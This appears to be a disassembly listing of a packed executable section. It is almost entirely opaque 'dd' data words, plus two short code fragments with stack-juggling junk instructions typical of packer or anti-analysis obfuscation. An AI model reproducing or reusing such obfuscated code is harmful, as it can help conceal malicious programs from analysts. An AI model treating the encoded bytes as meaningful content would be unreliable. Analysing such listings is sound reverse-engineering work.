		dd 0F002C02Ch, 0A5A6B8FFh, 3Bh,	96CC69F1h, 0B2F25403h
		dd 0D1649633h, 0A415B145h, 97DD40FCh, 64619330h, 0FC8A1EB2h
		dd 0FCA415FAh, 8D69F5A6h, 0BFCA415h, 739D45Ah, 0B563C574h
		dd 0FCA43001h, 0FF9FA7C8h, 3369FFFFh, 26446294h, 806E5308h
		dd 820ABC62h, 0D4DAFE5h, 0B91B4CB6h, 33699Bh, 53290000h
		dd 2762806Eh, 0B29D67DCh, 0A7095122h, 5D9165F3h, 5E0FFCA3h
		dd 48932740h, 0DECBCCC6h, 0A3E345DCh, 0EF8D9633h, 0CC7B2ABDh
		dd 98EA08AEh, 20h, 806E535Ah, 0FF932762h, 0A4158571h, 6213FCh
		dd 0A415A452h, 516F20FCh, 96330727h, 0EA084664h, 0D5689A33h
		dd 0A415AD49h, 93D93CFCh, 0EB8A932Ch, 0C87726B9h, 0DF15AE36h
		dd 1C3B9D4Ch, 8CB51F6Ah, 0B75ED07Ah, 0FEA0A755h, 84A5FCA3h
		dd 0FFFFF426h, 75AF4AD2h, 91D133E2h, 67649633h,	7D0FE1E1h
		dd 7F251EEFh, 0B649FAF2h, 0F4029024h, 0A4F5FB03h, 0DFE391F3h
		dd 0C2F5FB03h, 0BD35155Fh, 0D8A00FF1h, 7, 19898h, 275A0000h
		dd 0DDAC4DCh, 208209A3h, 34C62A98h, 7BDD0FACh, 0D57439C7h
		dd 0E394F27Eh, 0F72DCA50h, 0C93B4EFAh, 42DDF5FAh, 0CD611310h
		dd 0FAC7B73Fh, 0CE30E1F5h, 0C6598B26h, 62A57816h, 8321A91Ah
		dd 0AD0FBE51h, 3B386A05h, 17C4F695h, 13C0F291h,	27BAF08Dh
		dd 39CC06A1h, 0D15DA7EAh, 0EB840C9Eh, 157726B9h, 640344B0h
		dd 0FA8DBF5Bh, 0BF0A9C4Bh, 0D27D85Ah, 0B756DC62h, 0B9F92385h
		dd 391B3CB6h, 0D25999h
		dd 27190000h, 38CB059Fh, 209F2789h, 14B038CAh, 273E7EE0h
		dd 0A4152899h, 0E07E06FCh, 720537D5h, 64B214C3h, 0FD9921B3h
		dd 238534C7h, 270727E3h, 3BCE009Fh, 7EC52A8Ch, 62943383h
		dd 53082644h, 0BC62806Eh, 0F8DC277Eh, 0E8D41EAh, 15ED1274h
		dd 0A09BB8A0h, 40h, 806E5360h, 5D992762h, 3BFCA415h, 0DC276C8Ah
		dd 7C3FD4F2h, 893D9FA1h, 9CCE6DF5h, 9633FA3Ah, 0C33A3681h
		dd 0FE01C57h, 0A3E87383h, 4CE22DFCh, 0BCD99F5h,	0B8D68534h
		dd 3798EA08h, 5A000000h, 62806E53h, 155D9927h, 0B667FCA4h
		dd 0FCDC2798h, 0A48F4596h, 40601476h, 0D2649633h, 1546B03Eh
		dd 0A152FCA4h, 9F27FF3Fh, 28D53703h, 251B7Ah, 0AD0FBE51h
		dd 2598BCDAh, 5AFFFFFFh, 0CF629433h, 5159F23Dh,	85CC8374h
		dd 0A350FFF7h, 39E899FCh, 5E902FD7h, 1A64AF61h,	2642571Eh
		dd 0C3FF87E9h, 0B4C2DB93h, 0DE8D5F56h, 731FBE4Ch, 0FA45F27Eh
		dd 0EA85A4B7h, 2D7625B8h, 0CA2CB0EDh, 800C9F50h, 0F5FA7742h
		dd 0D2B0FC5Fh, 0A00F6520h, 5C75h, 9F273500h, 0E56DCF01h
		dd 0F38113DDh, 0F27F239Eh, 0E80E9C30h, 0B8F5FB01h, 0CD609430h
		dd 930D6F1Eh, 29BD4FE2h, 0FB015B9Bh, 329445F5h,	0FB013E84h
		dd 4C61FCF5h, 0FB0238BEh, 8B768F5h, 1C56EF75h, 386A0389h
		dd 0F866CE31h, 0BD0E76D9h, 0D0639935h, 589ABF21h, 3DA00FEBh
		dd 0C9h, 59327FDh, 0FCA415F1h, 160FE775h, 0D889FCA4h, 0C56DCF80h
		dd 0CE62F426h, 0A415B640h, 0CF31E2FCh, 0C6FA941Ah, 0DC0EAD33h
		dd 0F224C349h, 0BBF843F5h, 0F049D645h, 0E0CE7CDEh, 92FCA3FAh
		dd 1EC4C1F3h, 54BA4D7Fh, 0FC11AB6Eh, 0A3F8886Eh, 0B86718FCh
		dd 5BE37709h, 802E90C2h, 0F27EF679h, 0F97F7C2Dh, 19527C9h
		dd 194BE56Dh, 0FAF6698Dh, 248637F5h, 0C7A3BD76h, 9628D9EBh
		dd 4340740Eh, 5AD1039Dh, 89093691h, 67DAFB90h, 0A5000002h
		dd 34DAD70Dh, 0C2686597h, 48EEEB29h, 0D37976AAh, 0CF0A0739h
		dd 598B2555h, 0E21AB65Ch, 6AA43FE5h, 0F628C76Dh, 810FA3F9h
		dd 0F5F4A975h, 2792B023h, 6DCF019Fh, 0FCF92BC5h, 8885B756h
		dd 816F534Ah, 0BCCD67EFh, 0AA59EC20h, 57B968FBh, 237C15A3h
		dd 0A92F27Fh, 0F7A6396Bh, 0D76A1B95h, 0D323B145h, 0CDF5FB01h
		dd 0B60CBA1Ch, 0EBF5FB01h, 945E3C88h, 1A00FEBh,	0E0h, 3BDC27C1h
		dd 0DA2E86D5h, 54F39BFDh, 6F098F22h, 0EC66A39Bh, 2FDEDCFDh
		dd 5F9E109Ch, 0AC40FCA3h, 0A365D81Eh, 0A640C8FCh, 0B159BB6Ah
		dd 3DE3E012h, 0EDD4D29Eh, 607289B1h, 36B640CEh,	31E2FCA3h
		dd 3989EF82h, 4D7D001Dh, 0EB9A467Bh, 0BF37C559h, 0D9FCA40Ah
		dd 0A3FB745h, 0A859FCA4h, 4FE397F9h, 812029C7h,	5E0DBC4Fh
		dd 73A945CBh, 45B462C4h, 51F27F08h, 0A51DA3A0h,	2B2BB94Bh
		dd 75EBC7BBh, 10AA32C4h, 9731D7D4h, 250BE65Dh, 7D128909h
		dd 1595Ch, 0E91BB300h, 73A946ECh, 0FD37D076h, 88BC5A00h
		dd 194BE58Bh, 3743E11Ch, 0C066639Dh, 4DF3F024h,	0DD8380B2h
		dd 0B90F0C3Eh, 0A85F9725h, 0C639F5F4h, 679933A8h, 0F325C46Ah
		dd 22B044F6h, 0FCA415D4h, 2FC2FA96h, 0F1772880h, 78B81A58h
		dd 0D0629433h, 0EF75AF48h, 0ABF2153h, 0B6B3E584h, 0CC5E9230h
		dd 0E016A438h, 0C0FCA415h, 1573830Fh, 62FFFCA4h, 0C527D830h
		dd 2D528311h, 0DD8EF27Fh, 5824C34Bh, 0FBD2B4BFh, 84813011h
		dd 7A0D3FDEh, 0B042AE14h, 6702D11Ch, 97C8148Fh,	43F58735h
		dd 0A657EBCCh, 0DEE5A2Fh, 9BBC5189h, 0AEh, 918EC65Eh, 1F1C4EEBh
		dd 0A5A2E079h, 322F61FFh, 0C1BEF28Ch, 42DC9E86h, 0CF6B110Eh
		dd 5FFAA09Dh, 0E3822825h, 0CA5EB4B1h, 0F4A7BA3Ch, 5573E6F5h
		dd 0CA049F27h, 1737DA81h, 48AACEFFh, 5CEE02C0h,	71A340C8h
		dd 0A3E411E5h, 7CDE8FFCh, 13AC34C8h, 90C25BE1h,	3308802Eh
		dd 921AF275h, 4E76BFF5h, 591683EFh, 60118BEDh, 19A73BCDh
		dd 0F5F45FDDh, 0A80ABBh, 8C322F61h, 9C28BBEDh, 0C59245B8h
		dd 0FD42AAEDh, 88BA555Eh, 9736DCD9h, 0AE4CD265h, 7DE0E77Ah
		dd 0FF31D037h, 3D8E226Dh, 6E9F8BDBh, 0A847ED0Ch, 3C2E376h
		dd 84000000h, 9B332D4Dh, 0B150D669h, 0CB66EC7Fh, 0E4800699h
		dd 0FD971DB0h, 10AA30C3h, 1DBB41D4h, 39D258EBh,	45E268FBh
		dd 522A7C0Fh, 0BB53E289h, 26BE33E8h, 4B04EBC1h,	0EB814343h
		dd 57235596h, 8DADF381h, 0DA01AB48h, 4EA835Bh, 5C241487h
		dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 89502414h
		dd 405E0h, 42D0000h, 87000000h,	895C2404h, 68512434h, 66D70227h
		dd 81D9F759h, 7A7D8EE1h, 0E9814121h, 0FA79290Dh, 0C8BCA89h
		dd 4C48124h, 54000000h,	8124348Bh, 4C4h, 34815200h, 9F57A724h
		dd 8468F06h, 8BA52h, 0F2010000h, 57A73281h, 0FF5A069Fh
		dd 835E2434h, 34FF04C4h, 0C4835A24h, 1037E904h,	8A5FFFAh
		dd 0DA089DF2h, 3C753736h, 6EFEB8B6h, 0C50306AFh, 0B185C650h
		dd 4706A916h, 38172568h, 55B5FFCFh, 8D06A901h, 0A93C2685h
		dd 8BD0FF06h, 0E5858DD8h, 5006A917h, 10468h, 0C6D3FF00h
		dd 0A916B185h, 0BF685306h, 0FF8307F8h, 0A90155B5h, 26858D06h
		dd 0FF06A93Ch, 3A8589D0h, 8306AF52h, 0A927E9BDh, 840F0006h
		dd 0Bh,	17B99D8Bh, 5E906A9h, 0BB000000h, 0
		dd 10068h, 3EB58D00h, 5606AF52h, 0B995FF53h, 8D06A928h
		dd 0AF523EB5h, 0E9F00306h, 1, 5C3E804Eh, 9840Fh, 3E800000h
		dd 0ED850F2Fh, 0C6FFFFFFh, 858D0006h, 6AF523Eh,	3A95FF50h
		dd 5806AF52h, 4EB2E0FFh, 0DBD45235h, 0CBFE1843h, 77046930h
		dd 6EAB507Ah, 164C00B7h, 0F76A2DEAh, 2A1D1F19h,	4F3F3669h
		dd 79104EEh, 4B074E08h,	55BB4A8Fh, 51DB4CB0h, 917B2BF2h
		dd 0EC263E08h, 16FD59C5h, 2A3A50E2h, 30972F1Eh,	0FC624C64h
		dd 0A6B97D56h, 54E90F55h, 0CA000000h, 9375AD7Fh, 9DE61D8Ch
		dd 6E2E81E8h, 6C6C6474h, 6C6C642Eh, 0BD146700h,	0B98003B2h
		dd 0FEh, 0Ch dup(0)
		dd 0E9000000h, 675h, 0AF727A68h, 0EBFE906h, 5168FFFAh
		dd 0E906AF73h, 0FFFA0EB5h, 0AF73FD68h, 0EABE906h, 0C468FFFAh
		dd 0E906AF74h, 0FFFA0EA1h, 0AF757868h, 0E97E906h, 3D68FFFAh
		dd 0E906AF76h, 0FFFA0E8Dh, 0ADAAEA82h, 3B386A07h, 0C9C6FC95h
		dd 56538523h, 0DDDA16B0h, 5EF882A2h, 0E37F2522h, 730EB4B1h
		dd 0FF9E4441h, 0E67AD0CDh, 0F4A49E58h, 6987FAF5h, 1D98h
		dd 94335A00h, 28BBED8Bh, 0B137CA79h, 37E3E012h,	0FCA4158Bh
		dd 4B7D1BA3h, 6CA641E9h, 6F53316Fh, 8861EF81h, 20F27F44h
		dd 7250DC6Fh, 0C8F5FAE2h, 7185132Ah, 2FF5FAE2h,	0B63CCF7Eh
		dd 4950E319h, 0F1109EE6h, 4DD5268Eh, 5BE97BB1h,	0F5FAE29Bh
		dd 0CDF25405h, 0A00FCC25h, 27970h, 0D1093000h, 0EF816F53h
		dd 4B94CE67h, 39171E6Ah, 0DA8EF0B0h, 7F07C54Ch,	22BF47F2h
		dd 3DCB5DF0h, 0F5FB06B9h, 0F58736E7h, 0FB068F67h, 0F65809F5h
		dd 15C3CB7Ch, 2A4CAEBCh, 0A92C4FEh, 608C076Fh, 56DE701Fh
		dd 712587BDh, 0F79706E3h, 4FE1922Fh, 94F628C7h,	0A74979DFh
		dd 12368115h, 2B690298h, 3BA464E2h, 99932BD9h, 3CED2E44h
		dd 0B78322AAh, 494EE401h, 0BD1FCE8Eh, 0B0E28109h, 0C5F7961Eh
		dd 63F18332h, 3A213293h, 0DBFA5C0Dh, 0ED649635h, 4B891ABFh
		dd 66B8D96Eh, 0AD000004h, 3CE2DF15h, 0CA706D9Fh, 50F6F331h
		dd 0DB817EB2h, 0D7120F41h, 61932D4Dh, 0EA22BE64h, 72AC47EDh
		dd 0FE30CF75h, 8917AB01h, 0F5F4A36Dh, 339AB82Bh, 3DCF6294h
		dd 51E416B5h, 0AB840A2h, 38C054E6h, 0BDF7919Ch,	6ACC7B0Eh
		dd 7F1BBDBCh, 0A638E9F2h, 9728412h, 0A62EF5FBh,	0C224D309h
		dd 1D07D3A3h, 2BB94BA5h, 0EBD614E6h, 8FC160E8h,	0ED9EA046h
		dd 177934B2h, 36E4EC9Dh, 44027A25h, 0CF618F33h,	0E517B33Bh
		dd 9341A352h, 59E15956h, 32C054E8h, 5E6F3DC4h, 5F9723D4h
		dd 395E6F3Dh, 0FBAC2688h, 30C00268h, 0A9AE109Eh, 590A543Eh
		dd 51A533C7h, 21640B6Ah, 0FBE5183h, 87396CB7h, 3D605E80h
		dd 0F0782C8Eh, 7C221F51h, 0A34ABDDh, 0AB1193F1h, 38FF516h
		dd 0EC840000h, 7815BBB8h, 69F4542h, 8B29CFCCh, 1CB65C59h
		dd 74B0EBE8h, 3B386C06h, 0C6C3F995h, 4E4B8520h,	0DAD709A8h
		dd 9462F084h, 4F5F4A2h,	94337391h, 5969CF62h, 0FE770597h
		dd 9AF27F2Dh, 35CF57E9h, 57B968FBh, 5FFE8638h, 7F43CB2Dh
		dd 31C4009Ah, 0AD41D382h, 0FAFED71Fh, 7E10C1F5h, 0FAFF06F0h
		dd 7FE192F5h, 6FFB3DCBh, 0E36BEBCBh, 6FA13B44h,	1C7E2DC0h
		dd 0CB5FF1A2h, 36BFE80h, 0F658FBB1h, 807DAF4Eh,	98263BDAh
		dd 0FC9DD45Eh, 47DA893Ah, 9B38E1E1h, 9A28BA69h,	0F278E643h
		dd 25FB7223h, 688FA4A7h, 2E3B2D3h, 98300000h, 1CB95F5Ch
		dd 0AA43E9E6h, 37D57B78h, 0C8620805h, 0D0548F8Ch, 0D7D410AAh
		dd 625F9531h, 0F2EF21BCh, 7E7BAD4Ch, 0F0069428h, 0B0F5F4A2h
		dd 94331F3Dh, 0AA48D062h, 0D234E376h, 20BB71Dh,	0A4158274h
		dd 0BE6D1EFCh, 3FA39E2Ch, 12C3F27Fh, 3DDB6315h,	67C9780Bh
		dd 16E24h, 9F27E600h, 8D3CCF01h, 9E86592Bh, 8959F524h
		dd 51EEF7A1h, 0D4671629h, 56E47625h, 0F27EC9BBh, 8D69F78Bh
		dd 0BF5FAD4h, 0F5A3AB5Ah, 0DD39CD8Dh, 69FBF5CDh, 0E9712ADBh
		dd 0B245F6FEh, 0E87A764Ch, 2B8DC760h, 0DBD5E977h, 8233FD36h
		dd 97C968F0h, 13E37105h, 8D091341h, 0B55B7ADCh,	41730D16h
		dd 2D0F1B92h, 0E97E7A9Bh, 21CC8h, 255FF700h, 0AFE58228h
		dd 41730CB2h, 0CC009E44h, 558F29CFh, 73071D58h,	4AAA7D9h
		dd 91373468h, 19BFBCF6h, 0F54B487Ah, 0A223D361h, 0A7DF5F4h
		dd 629433ECh, 975969CFh, 1B027705h, 0E596F27Fh,	5EC618E8h
		dd 6CFA8C64h, 0EBD614A5h, 32069F27h, 0A267552Ah, 78DA89EEh
		dd 97454DFEh, 4A46E340h, 63EDA62h, 0DA62C473h, 0E87608E8h
		dd 639D341Dh, 4FB548F9h, 57EB7D73h, 5B332DC9h, 6AA03D74h
		dd 4BFF6112h, 2A9F01BDh, 391256Ah, 6DBF85F3h, 209AFCADh
		dd 0B655DD6Fh, 8AD58784h, 50EE8ADEh, 0CC70D31Ch, 0AA951B3h
		dd 41FB61D8h, 25BA07EFh, 16804h, 0E113AB00h, 6BA13EE4h
		dd 0F52FC86Eh, 80B452F8h, 1143DD83h, 2F4BD914h,	0B85E5B95h
		dd 45EBE81Ch, 0D57B78AAh, 0B1070436h, 0A0678F1Dh, 0BE31F5F4h
		dd 59F27A0h, 22C169CBh,	0B4477D19h, 0ACE67F05h,	0BE046AFDh
		dd 6312A032h, 33F27F2Eh, 53478582h, 61EF816Fh, 0F27486D1h
		dd 0C9426D7h, 983E3B6Dh, 0CE34C7F9h, 0D66AFCF4h, 0E97CB04Eh
		dd 0D62AD83Ah, 32EBC516h, 0CD67EF81h, 0FFF74A93h, 4C5BB782h
		dd 0EA236EAh, 0A3DF7680h, 0F7122FCh, 9996C867h,	902254F3h
		dd 0A4376908h, 78DE93F5h, 8614A64Ah, 0F27EED87h, 6AA43FC7h
		dd 3FB745D7h, 59F5FAEEh, 93B0F9A8h, 5790BE9Dh, 0C151C877h
		dd 0A08FA23Ch, 0A3EA0Bh, 0D8700000h, 5CF99F9Ch,	0EA832926h
		dd 7715BBB8h, 8A24845h,	9094CFCCh, 171450EAh, 0A29FD571h
		dd 322F61FCh, 0BEBBED8Ch, 0B046D468h, 0F0F5F49Fh, 6F535F7Dh
		dd 0D35BEF81h, 0C3720537h, 8649B361h, 0F2A3F274h, 83AD95Fh
		dd 4352EE76h, 30C372A4h, 2F61FB81h, 6908AECDh, 0A630C654h
		dd 0BF70F5F4h, 42F17D10h, 5F5AF6AEh, 0D06FD01Ch, 5CFBA19Eh
		dd 7311972Ah, 44A7AE41h, 0EFF897F8h, 0DE8D2052h, 8F9B8295h
		dd 79288781h, 6B37D67Ch, 0E5DAA5ADh, 881BCA86h,	0C67h
		dd 0DC272900h, 8D1437CDh, 2EBC1E91h, 699B330Eh,	7FB150D6h
		dd 99CB66ECh, 0B0E48006h, 0C3FD971Dh, 0D410AA30h, 0EB1DBB41h
		dd 0FB39D258h, 0F45E268h, 59682A7Ch, 89000071h,	8468243Ch
		dd 89000043h, 7868242Ch, 89000043h, 0BF57240Ch,	6AF714Fh
		dd 89F88950h, 835F58C5h, 248904ECh, 24048124h, 4, 81555359h
		dd 5E752404h, 815B0C39h, 395E75EBh, 859890Ch, 240C8B5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54F8A1
; ---------------------------------------------------------------------------
		db 0D8h
		dd 0B39153BDh, 718327EEh, 0DD8CDB4Eh, 7705B8EBh, 0C50306AFh
		dd 4BA9E0FFh, 0F0643479h, 9E7B2DABh, 0F3395E14h, 9DD97864h
		dd 597D683Bh, 0E17127FCh, 0CC204D88h, 0E0793F05h, 0DDD9242Fh
		dd 193D6B7Eh, 8858687Eh, 0BAFB56A2h, 0F9B35275h, 4A381BA1h
		dd 0F3121D2Ah, 0AC834947h, 0D03254CEh, 0EF6074CEh, 25B6815h
		dd 0D3B973ABh, 6EAA433Bh, 0C73074BBh, 0D71E01AFh, 845774CAh
		dd 0DF017730h, 0BB27525Fh, 723C4CCBh, 0A5C86CF9h, 3CAD3BADh
		dd 0BE87D5Ah, 1A000000h, 23F13C7Eh, 0CD0C5DB6h,	5E90DA5h
		dd 21000000h, 0A94A45EEh, 0BE85Ah, 393C0000h, 0E098CB64h
		dd 53BB810h, 723DBEADh,	81586199h, 5F34C2h, 17986800h
		dd 0BE660000h, 605F931Ah, 8B0BBB60h, 0D28060B7h, 0C0BE61E5h
		dd 61277FC5h, 0B70F0A8Bh, 9AE981F1h, 0E974F144h, 13h, 9F5F17B4h
		dd 0BE5DC8CCh, 0D697CEF4h, 9AAE9575h, 814D20C5h, 50A364E9h
		dd 63D48065h, 0D732F181h, 51FC034Fh, 81028FFCh,	0D4E5A3C0h
		dd 0CEA8136h, 0F78B119h, 89h, 8C28100h,	0B878B119h, 4D27FD18h
		dd 0F01EF83h, 1985h, 3830F00h, 0F000000h, 20E9C0B7h, 0AA000000h
		dd 0AC5BC517h, 0A6EBFFD1h, 8B6621D3h, 0FF82E9D8h, 0F518FFFFh
		dd 0CB5798E8h, 905E7ACDh, 0E9983D99h, 2Ch, 6D5DED56h, 0Ah dup(0)
		dd 52FE9h, 7A696800h, 0B6E906AFh, 68FFFA06h, 6AF7AD6h
		dd 0FA06ACE9h, 7C5B68FFh, 0A2E906AFh, 6DFFFA06h, 0FCA29FD5h
		dd 8A302D5Fh, 10B6B3F1h, 9B413E72h, 97D2CF01h, 2153ED8Dh
		dd 0AAE27E24h, 326C07ADh, 0BEF08F35h, 49D76BC1h, 0F5F49CADh
		dd 275A78EBh, 15F10593h, 0FEAFFCA4h, 265AF49Ch,	84720094h
		dd 14FCA415h, 1604F280h, 0E394FCA4h, 971DD234h,	43C9C6F8h
		dd 0B63AD77Fh, 26040357h, 0C351E577h, 0FCA3A933h, 0A65ABC6Dh
		dd 7ECC3918h, 4ADC8DF2h, 5EF123C2h, 6984DAFh, 4DAFE57Eh
		dd 0FAD2239Fh, 0D11B7EF5h, 0FBD01F1h, 31394A0h,	9540000h
		dd 866A58CCh, 20AB66F4h, 0AD41F27Fh, 0FAFFD71Fh, 8A10C1F5h
		dd 7322B5EFh, 54E69711h, 9F0133CCh, 5B82C775h, 89CF492h
		dd 0D7A57C7Ah, 96B1C00h, 1DAF4181h, 66C8FA95h, 0A48124B2h
		dd 0EC9DF6B2h, 133D25Ah, 1749E86Eh, 0C426D584h,	5CF57D0Fh
		dd 82E49326h, 9628C8FAh, 9FDAF24Bh, 6CCEF6EBh, 336E2AB8h
		dd 22AAF51Ah, 0FBE5183h, 0E483CE60h, 0A056E49Bh, 0D754h
		dd 0B263064Fh, 5EE233AEh, 0F09FF5B8h, 0BE46DA8Eh, 0E28AEC20h
		dd 6E141143h, 1F269DCFh, 9E72C7DBh, 328E809h, 49C0000h
		dd 902DD3D0h, 1EB75D5Ah, 0A341E7E4h, 34CE7471h,	5CC80300h
		dd 5350841Eh, 0DEDB11ADh, 66639D38h, 0F2EF21C0h, 7C7A089Ch
		dd 1CF5F49Bh, 6F538BA9h, 6E61EF81h, 0AAF2748Eh,	45DF67F9h
		dd 0D2659734h, 0D1777423h, 0DE6AFD37h, 0F5F49DE1h, 0CD5B700Fh
		dd 3538F29h, 8E47AF3Dh,	0A0510353h, 71E89748h, 705B47C0h
		dd 0BB294ADFh, 9000002h, 90363371h, 1EC4C1F3h, 0AC524F85h
		dd 37DDDA0Eh, 2B66639Dh, 0ADE781F9h, 366E0AB0h,	0C6F89339h
		dd 528423C9h, 0DD6BFF55h, 0F5F49C19h, 53F61487h, 5BEF816Fh
		dd 15BD39C7h, 2ADBFCA4h, 8EB51AC8h, 6011F274h, 9D8141CDh
		dd 0BD20F5F4h, 0E27C0477h, 65D21BAEh, 2360209Eh, 85AA0CBBh
		dd 0A009B56Dh, 1A028h, 9327E800h, 0A415F105h, 0AEE481FCh
		dd 63146C1Bh, 0AB0D3FDDh, 0C25B6403h, 4F3702F6h, 0BB6A34AFh
		dd 0BB5B9B29h, 9445FCA3h, 2DCC52E5h, 4A78FEFBh,	358014A6h
		dd 9ADC3E0h, 0C06ED00Ah, 0F27EBE1Dh, 9F57E579h,	0F9F5FAA1h
		dd 7A069948h, 0F5FAA148h, 0F48654F2h, 3B74F910h, 53D96C1Bh
		dd 0F132E9B5h, 0F42F155Fh, 0FF44B245h, 0A70A29B5h, 0E7757D5Dh
		dd 2B20A00Fh, 0E0000000h, 0EAA6F53h, 159165F3h,	5E0FFCA4h
		dd 0E06E00AFh, 0F27F23B1h, 0A531C475h, 0F5FB011Dh, 0F7DB2184h
		dd 0A00FEBFBh, 0BD9Ah, 93275A00h, 0A415F105h, 4164AFFCh
		dd 51CE8840h, 0A44CAE5Dh, 0AE40D305h, 596A8C1Ah, 0AE36FCA3h
		dd 0CB2DDC10h, 0C4578923h, 0DA6D9F3Eh, 51E9B554h, 0DAB97E0Ah
		dd 6B2AF5Eh, 0FCA3CC1Ah, 649834BCh, 0C8D922D1h,	651E15B0h
		dd 0E4832B8Dh, 932FB5B2h, 0FC3DCB5Dh, 0ACF27021h, 47E169FBh
		dd 58F37B0Dh, 82E49326h, 8F29B163h, 0B14BF355h,	0D5F498E5h
		dd 38E7C440h, 0A04966C1h, 6F90258Fh, 136h, 0C1BEF68Eh
		dd 4F4C7E1Bh, 0D5D210A9h, 625F912Fh, 0F1EE22BCh, 720C6EB6h
		dd 0FF9B413Eh, 8F2AD0CDh, 13B25855h, 0FA8EE4E1h, 0F4998A6Ch
		dd 85A316F5h, 0D5679933h, 187AB04Dh, 82B453F9h,	94334785h
		dd 0AA49CF62h, 7EC97B78h, 3A2C55E1h, 0B73FA12Fh, 13BA4B0Bh
		dd 24B7ED8Ah, 4E722C75h, 689A33B9h, 699927B9h, 7FF27F14h
		dd 1AB43CCEh, 853DE9E6h, 0B5F5FB07h, 41E7E416h,	0B9DA6DA7h
		dd 0B6h, 816F537Bh, 3AD35BEFh, 64C67508h, 748E15B6h, 4DE971F2h
		dd 26D58417h, 226D0193h, 60328FF7h, 0BB3BC7D5h,	0ABF5F45Dh
		dd 0F45DD91Dh, 0BE16C7F5h, 0B3ED870Dh, 670F7120h, 0B90496C8h
		dd 3D4FBC42h, 8B6BF9E8h, 15F5F4D0h, 3453B564h, 2ABDEF8Eh
		dd 0D97E4D98h, 0CA5F3703h, 494CAA38h, 9B4CF5F4h, 0D5D98B39h
		dd 0DC7561F9h, 0F28D13A6h, 0C3262DC0h, 5B9EED79h, 0DD0FAE11h
		dd 36E32EE0h, 3CD1733Ch, 0EF8E3698h, 6A42ABDh, 86383FD2h
		dd 939264F2h, 5D0E8F46h, 0DD2E96FBh, 2183B955h,	16A8DA79h
		dd 2DC0F48Eh, 57FD1C7Eh, 0DE10AFB8h, 37B9C2Fh, 3D000000h
		dd 9B332D4Dh, 0B150D669h, 0CB66EC7Fh, 0E4800699h, 0FD971DB0h
		dd 10AA30C3h, 1DBB41D4h, 39D258EBh, 45E268FBh, 572A7C0Fh
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 3C895C24h,	48926824h
		dd 4890000h, 7EC86824h,	14890000h, 12BA5224h, 813DC629h
		dd 546F11C2h, 90EA8174h, 56485E7Dh, 704C7EBEh, 0D9F68115h
		dd 1898312h, 0D0895EF2h, 4EC835Ah, 83242489h, 5A042404h
		dd 8904EC83h, 428F2404h, 24148B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54F8A1
; ---------------------------------------------------------------------------
		dw 0A4D6h
		dd 60C8081h, 0AF7DB6B8h, 0FFC50306h, 502977E0h,	0AC7B4501h
		dd 0A0E10937h, 0BDF44071h, 6124DD4Bh, 0BAC77754h, 0B95AB5Ah
		dd 572B717Ch, 586A862Dh, 4A363D62h, 67BF6F62h, 4D0A2C0Fh
		dd 0EC87BA50h, 0AF597E10h, 882FDC50h, 67BAF756h, 1EBF0155h
		dd 0DC5BC774h, 18507E41h, 61B4471Fh, 0A089272Eh, 91C522Ah
		dd 931FF061h, 40AAA306h, 11D79502h, 0D3F42C70h,	65053858h
		dd 0F844A574h, 7C5E530Bh, 0DB365DB1h, 3256AEB7h, 884E2065h
		dd 3237F863h, 325490B1h, 325C0348h, 251575B1h, 97D34A15h
		dd 7954D604h, 30139D09h, 88605408h, 74196571h, 3D56D5D0h
		dd 3256EB3Bh, 32568DB1h, 32573DBEh, 32A35DB1h, 325B47B1h
		dd 1FFE57B1h, 0DDF945DAh, 2BC7DCEh, 32CBF66Fh, 33DB7AB1h
		dd 0C756BAB1h, 0B4595DB1h, 3256AEA0h, 32565B58h, 14CA33B1h
		dd 0CE55D6A9h, 98025A6Fh, 6BAE7F7Ch, 53A531B1h,	0B4595DB1h
		dd 3256AEB0h, 3244BE4Dh, 8DB6ABB1h, 0B673B9B9h,	366165CBh
		dd 5BF62AE3h, 0C728BFC3h, 320D8429h, 0B456AEB1h, 389D7904h
		dd 0B039D8F6h, 6DB11A4h, 24D2E59Ch, 3D5675B1h, 3256AA32h
		dd 325DB4B1h, 0C14BAEB1h, 0C4606CC2h, 39640C0h,	0C756D594h
		dd 32596FBEh, 38BF75B1h, 5656BAB1h, 0F23509B6h,	5BCEC448h
		dd 3D5657EBh, 3256A53Bh, 0BD59B5B1h, 3256EAB1h,	2265B630h
		dd 3237F26Ah, 3256A8B1h, 3256A358h, 0C87B66B1h,	14C025DCh
		dd 4EFB9453h, 3256EC20h, 324AF3BEh, 3D36BAB1h, 32565D3Bh
		dd 325947B1h, 5D6757B1h, 59A30681h, 8337C7E7h, 5E149F74h
		dd 0BF591496h, 3256BAB0h, 0CB565D4Dh, 32A3AEB1h, 3256AFB1h
		dd 325A25BEh, 0BD59D5B1h, 3256EAB7h, 3256FDBEh,	3256BAB1h
		dd 52565D4Dh, 0C79419BEh, 3D5657D0h, 3256AA36h,	325629B1h
		dd 548C61D1h, 3237AC3Ah, 325642B1h, 8990DDD1h, 0DB56AED0h
		dd 325657BCh, 2A24F114h, 0A521BC1Eh, 0ACDD2BE8h, 3D5675DFh
		dd 3256A93Ah, 3258B4B1h, 8E52AEB1h, 9B2D0D7h, 0C2616020h
		dd 0F386702Fh, 0B059EAB1h, 325675BAh, 3256BC58h, 500919B1h
		dd 328511C0h, 3256A2B1h, 325022BEh, 8136D5B1h, 539961B4h
		dd 0CE913D1h, 31D5B591h, 3D565DB1h, 32375C0Eh, 34BF37B1h
		dd 0DF56ABB1h, 6F5A9885h, 32548BABh, 325675B1h,	0BA75F9B1h
		dd 0CB8B3012h, 26BFAEB1h, 8C5657B1h, 0DAB9E907h, 404C5723h
		dd 7C379369h, 85279F7Ah, 3D8C2326h, 3256443Fh, 3DBECEB1h
		dd 3B5657B1h, 8C39B4BEh, 0E5818327h, 0A61781EFh, 0B90F0D1Dh
		dd 3581DB76h, 32525DBBh, 325CAEA3h, 327157BDh, 882CA980h
		dd 3237890Dh, 3FBF8AB1h, 275675B1h, 84221D13h, 41012DD9h
